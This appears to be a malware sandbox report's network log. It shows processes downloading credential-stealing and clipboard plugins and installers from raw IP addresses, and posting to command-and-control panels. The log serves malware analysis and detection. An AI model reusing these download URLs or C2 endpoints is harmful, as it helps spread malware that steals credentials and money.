                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    crl.root-x1.letsencrypt.org.edgekey.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    crl.root-x1.letsencrypt.org.edgekey.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    e8652.dscx.akamaiedge.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    e8652.dscx.akamaiedge.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    23.55.97.11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.googleusercontent.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.googleusercontent.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.googleusercontent.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    googlehosted.l.googleusercontent.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    googlehosted.l.googleusercontent.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.201.97
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-kr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://nic-it.nl/games/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    210.182.29.70:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /games/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/Plugins/cred64.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /Pneh2sXQk0/Plugins/cred64.dll HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.56
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:19 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 1285632
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Sun, 03 Mar 2024 11:54:33 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "65e464f9-139e00"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /Pneh2sXQk0/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.56
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 31
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:27 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /Pneh2sXQk0/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.56
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 31
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:29 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /Pneh2sXQk0/Plugins/clip64.dll HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.56
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:36 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 112128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Sun, 03 Mar 2024 11:54:32 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "65e464f8-1b600"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-kr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://nic-it.nl/games/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    210.182.29.70:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /games/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://77.221.151.47/install.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    77.221.151.47:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /install.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 77.221.151.47
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:24 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 4448942
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Thu, 02 May 2024 13:52:07 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "66339a87-43e2ae"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://iplogger.com/1lyxz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.188.178:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /1lyxz HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: iplogger.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 403 Forbidden
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:27 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 15370
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cross-Origin-Embedder-Policy: require-corp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cross-Origin-Opener-Policy: same-origin
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cross-Origin-Resource-Policy: same-origin
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Origin-Agent-Cluster: ?1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Referrer-Policy: same-origin
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cf-mitigated: challenge
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cf-chl-out: Ckoa9pAowpXL5scoYzo47Po/rsgD2BBcAjQnOvwo0g6OZiAeE+1svm7KUS7yjG3CEuvCODh04nLTKmeY7rkLWKxlmq0O3Uvl9iHhvczKfSdlajJ10460pcPAVTyOL+kk$e35YPCy4nFVWvJtHMISU+w==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4KeXPXmIGG2QmGnBk1TM%2BUmEm7IHD6hIhKcspxy%2BLZXgsfsmjPNzlpXyjCLd7nfJIosmWNTCve5bXQXIJ2Du6GaZhk9ZXuwiBVVYeR1aGHKRQZKL3d%2Bm2QDI%2FX5L0rI%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535f8f80b4913-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-de
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.19/NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    185.172.128.19:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /NewB.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 185.172.128.19
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:27 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 428544
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Thu, 09 Nov 2023 18:10:51 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "654d20ab-68a00"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://5.42.66.10/api/bing_release.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    enRAPStopGFgUmCytkUl22HJ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5.42.66.10:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /api/bing_release.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 5.42.66.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:28 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    X-Powered-By: PHP/8.2.12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /Pneh2sXQk0/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.56
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 21
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:29 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-de
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.19/ghsdh39s/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    185.172.128.19:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /ghsdh39s/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 185.172.128.19
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:29 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-de
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.19/ghsdh39s/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    185.172.128.19:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /ghsdh39s/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 185.172.128.19
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:29 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-de
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.19/ghsdh39s/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    185.172.128.19:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /ghsdh39s/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 185.172.128.19
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 31
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:31 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-de
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.19/ghsdh39s/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    185.172.128.19:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /ghsdh39s/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 185.172.128.19
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 31
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:33 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-de
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.19/ghsdh39s/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    185.172.128.19:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /ghsdh39s/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 185.172.128.19
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 31
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:38 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-de
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.59/ISetup8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    185.172.128.59:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /ISetup8.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 185.172.128.59
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
